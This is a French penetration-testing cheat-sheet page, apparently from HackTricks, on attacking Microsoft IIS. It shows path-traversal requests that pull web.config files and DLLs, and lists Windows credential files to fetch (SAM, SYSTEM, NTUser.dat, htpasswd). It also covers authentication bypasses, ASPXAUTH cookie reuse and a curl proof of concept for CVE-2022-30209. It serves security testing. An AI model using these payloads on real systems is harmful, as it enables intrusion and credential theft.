hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md
2023-06-03 13:10:46 +00:00

22 KiB

IIS - Services d'information Internet

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Testez les extensions de fichiers exécutables :

  • asp
  • aspx
  • config
  • php

Divulgation de l'adresse IP interne

Sur n'importe quel serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l'en-tête Host et d'utiliser HTTP/1.0 et à l'intérieur de la réponse, l'en-tête Location pourrait vous pointer vers l'adresse IP interne :

nc -v domain.com 80
openssl s_client -connect domain.com:443

Réponse divulguant l'adresse IP interne :

GET / HTTP/1.0       

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

Exécuter des fichiers .config

Vous pouvez télécharger des fichiers .config et les utiliser pour exécuter du code. Une façon de le faire est d'ajouter le code à la fin du fichier à l'intérieur d'un commentaire HTML: Téléchargez un exemple ici

Plus d'informations et de techniques pour exploiter cette vulnérabilité ici

Bruteforce de découverte IIS

Téléchargez la liste que j'ai créée:

{% file src="../../.gitbook/assets/iisfinal.txt" %}

Elle a été créée en fusionnant le contenu des listes suivantes:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Utilisez-le sans ajouter d'extension, les fichiers qui en ont besoin l'ont déjà.

Traversée de chemin

Fuite de code source

{% hint style="info" %} En résumé, il y a plusieurs fichiers web.config dans les dossiers de l'application avec des références à des fichiers "assemblyIdentity" et des "namespaces". Avec ces informations, il est possible de savoir où se trouvent les exécutables et de les télécharger.
À partir des Dlls téléchargées, il est également possible de trouver des nouveaux espaces de noms où vous devriez essayer d'accéder et d'obtenir le fichier web.config afin de trouver de nouveaux espaces de noms et assemblyIdentity.
De plus, les fichiers connectionstrings.config et global.asax peuvent contenir des informations intéressantes.
Référence: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html {% endhint %}

Comme toute application .Net, les applications MVC ont un fichier web.config, où les balises XML "assemblyIdentity" identifient chaque fichier binaire utilisé par l'application.

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
[...]

HTTP/1.1 200 OK
[...]
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <configSections>
    <section name="entityFramework" type="System.Data.Entity.Internal.ConfigFile.EntityFrameworkSection, EntityFramework, Version=6.0.0.0, Culture=neutral" requirePermission="false" />
  </configSections>
  <appSettings>
    <add key="webpages:Version" value="3.0.0.0" />
    <add key="webpages:Enabled" value="false" />
    <add key="ClientValidationEnabled" value="true" />
    <add key="UnobtrusiveJavaScriptEnabled" value="true" />
  </appSettings>
<system.web>
  <authentication mode="None" />
  <compilation debug="true" targetFramework="4.6.1" />
  <httpRuntime targetFramework="4.6.1" />
</system.web>
<system.webServer>
  <modules>
    <remove name="FormsAuthentication" />
  </modules>
</system.webServer>
<runtime>
  <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security" />
      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security.OAuth" />
      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin.Security.Cookies" />
      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Microsoft.Owin" />
      <bindingRedirect oldVersion="1.0.0.0-3.0.1.0" newVersion="3.0.1.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="Newtonsoft.Json" culture="neutral" />
      <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Optimization" />
      <bindingRedirect oldVersion="1.0.0.0-1.1.0.0" newVersion="1.1.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="WebGrease" />
      <bindingRedirect oldVersion="0.0.0.0-1.5.2.14234" newVersion="1.5.2.14234" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Helpers" />
      <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.Mvc" />
      <bindingRedirect oldVersion="1.0.0.0-5.2.3.0" newVersion="5.2.3.0" />
    </dependentAssembly>
    <dependentAssembly>
      <assemblyIdentity name="System.Web.WebPages" />
      <bindingRedirect oldVersion="1.0.0.0-3.0.0.0" newVersion="3.0.0.0" />
    </dependentAssembly>
  </assemblyBinding>

Dans la sortie précédente, vous pouvez trouver des références à plusieurs "assemblyIdentity". Ce sont des fichiers qui peuvent être situés dans le dossier /bin. Par exemple: /bin/WebGrease.dll.

D'autres fichiers qui pourraient être trouvés dans le répertoire racine d'une application .Net sont /global.asax.

<%@ Application Codebehind="Global.asax.cs" Inherits="WebApplication1.MvcApplication" Language="C#" %>

Et /connectionstrings.config

Note: ce fichier contient des mots de passe !

<connectionStrings>
  <add name="DefaultConnection" connectionString="Data Source=(LocalDb)\MSSQLLocalDB;AttachDbFilename [...]" providerName="System.Data.SqlClient" />
</connectionStrings>

Espaces de noms

De plus, les applications .Net MVC sont structurées pour définir d'autres fichiers web.config, ayant pour but d'inclure toute déclaration pour des espaces de noms spécifiques pour chaque ensemble de pages de vue, soulageant les développeurs de déclarer des espaces de noms " @using " dans chaque fichier.

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]

HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
  <configSections>
    <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
    <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    </sectionGroup>
  </configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" /><pages pageBaseType="System.Web.Mvc.WebViewPage">
  <namespaces>
    <add namespace="System.Web.Mvc" />
    <add namespace="System.Web.Mvc.Ajax" />
    <add namespace="System.Web.Mvc.Html" />
    <add namespace="System.Web.Optimization"/>
    <add namespace="System.Web.Routing" />
    <add namespace="WebApplication1" />

Téléchargement de DLLs

D'après une réponse précédente, la déclaration d'un espace de noms personnalisé (puisque les autres espaces de noms sont par défaut) suggère qu'une DLL appelée "WebApplication1" est présente dans le répertoire /bin.

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
[...]

À partir de la sortie précédente, vous pourrez également trouver les DLL dans le répertoire /bin :

  • System.Web.Mvc.dll
  • System.Web.Mvc.Ajax.dll
  • System.Web.Mvc.Html.dll
  • System.Web.Optimization.dll
  • System.Web.Routing.dll

Supposons que la DLL précédente importe un espace de noms appelé WebApplication1.Areas.Minded. un attaquant peut en déduire que d'autres fichiers web.config sont présents dans l'application, dans des chemins devinables / par défaut tels que /nom-de-zone/Views/, contenant des configurations spécifiques qui peuvent se référer à d'autres fichiers DLL présents dans le dossier /bin.

GET /download_page?id=..%2f..%2fMinded/Views/web.config HTTP/1.1
Host: example-mvc-application.minded
[...]

HTTP/1.1 200 OK
[...]
<?xml version="1.0"?>
<configuration>
<configSections>
  <sectionGroup name="system.web.webPages.razor" type="System.Web.WebPages.Razor.Configuration.RazorWebSectionGroup, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral">
    <section name="host" type="System.Web.WebPages.Razor.Configuration.HostSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral" requirePermission="false" />
    <section name="pages" type="System.Web.WebPages.Razor.Configuration.RazorPagesSection, System.Web.WebPages.Razor, Version=3.0.0.0, Culture=neutral” requirePermission="false" />
  </sectionGroup>
</configSections>
<system.web.webPages.razor><host factoryType="System.Web.Mvc.MvcWebRazorHostFactory, System.Web.Mvc, Version=5.2.3.0, Culture=neutral" />
<pages pageBaseType="System.Web.Mvc.WebViewPage">
<namespaces>
  <add namespace="System.Web.Mvc" />
  <add namespace="System.Web.Mvc.Ajax" />
  <add namespace="System.Web.Mvc.Html" />
  <add namespace="System.Web.Routing" />
  <add namespace="System.Web.Optimization" />
  <add namespace="WebApplication1" />
  <add namespace="WebApplication1.AdditionalFeatures" />
</namespaces>

Notez comment dans la sortie précédente, vous pouvez voir un nouveau namespace appelé: WebApplication1.AdditionalFeatures qui indique qu'il y a une autre Dll dans le dossier /bin appelée WebApplication1.AdditionalFeatures.dll

Fichiers communs

À partir de ici

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini 
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

Erreur 404 HTTPAPI 2.0

Si vous voyez une erreur comme celle-ci :

Cela signifie que le serveur n'a pas reçu le nom de domaine correct dans l'en-tête Host.
Pour accéder à la page Web, vous pouvez regarder le certificat SSL fourni et peut-être trouver le nom de domaine/sous-domaine là-dedans. Si ce n'est pas le cas, vous devrez peut-être forcer VHosts jusqu'à ce que vous trouviez le bon.

Anciennes vulnérabilités IIS à rechercher

Vulnérabilité/Fonctionnalité du caractère tilde “~” de Microsoft IIS - Divulgation de noms de fichiers/dossiers courts

Vous pouvez essayer de énumérer les dossiers et fichiers à l'intérieur de chaque dossier découvert (même s'il nécessite une authentification de base) en utilisant cette technique.
La principale limitation de cette technique si le serveur est vulnérable est que elle ne peut trouver que les 6 premières lettres du nom de chaque fichier/dossier et les 3 premières lettres de l'extension des fichiers.

Vous pouvez utiliser https://github.com/irsdl/IIS-ShortName-Scanner pour tester cette vulnérabilité : java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Recherche originale : https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Vous pouvez également utiliser metasploit : use scanner/http/iis_shortname_scanner

Contournement de l'authentification de base

Contourner une authentification de base (IIS 7.5) en essayant d'accéder à : /admin:$i30:$INDEX_ALLOCATION/admin.php ou /admin::$INDEX_ALLOCATION/admin.php

Vous pouvez essayer de mélanger cette vulnérabilité et la dernière pour trouver de nouveaux dossiers et contourner l'authentification.

Débogage activé Trace.AXD ASP.NET

ASP.NET inclut un mode de débogage et son fichier s'appelle trace.axd.

Il conserve un journal très détaillé de toutes les demandes effectuées sur une application pendant une période de temps.

Ces informations comprennent les adresses IP des clients distants, les identifiants de session, tous les cookies de demande et de réponse, les chemins physiques, les informations de code source et potentiellement même les noms d'utilisateur et les mots de passe.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH utilise les informations suivantes :

  • validationKey (chaîne) : clé codée en hexadécimal à utiliser pour la validation de la signature.
  • decryptionMethod (chaîne) : (par défaut "AES").
  • decryptionIV (chaîne) : vecteur d'initialisation codé en hexadécimal (par défaut à un vecteur de zéros).
  • decryptionKey (chaîne) : clé codée en hexadécimal à utiliser pour le déchiffrement.

Cependant, certaines personnes utiliseront les valeurs par défaut de ces paramètres et utiliseront comme cookie l'e-mail de l'utilisateur. Par conséquent, si vous pouvez trouver un site Web utilisant la même plateforme qui utilise le cookie ASPXAUTH et que vous créez un utilisateur avec l'e-mail de l'utilisateur que vous voulez usurper sur le serveur attaqué, vous pourrez peut-être utiliser le cookie du deuxième serveur dans le premier et usurper l'utilisateur.
Cette attaque a fonctionné dans cette description.

Contournement de l'authentification IIS avec des mots de passe mis en cache (CVE-2022-30209)

Un bogue dans le code n'a pas vérifié correctement le mot de passe donné par l'utilisateur, de sorte qu'un attaquant dont le hachage de mot de passe frappe une clé qui est déjà dans le cache pourra se connecter en tant que cet utilisateur (rapport complet ici).

# script for sanity check
> type test.py
def HashString(password):
    j = 0    
    for c in map(ord, password):
        j = c + (101*j)&0xffffffff
    return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥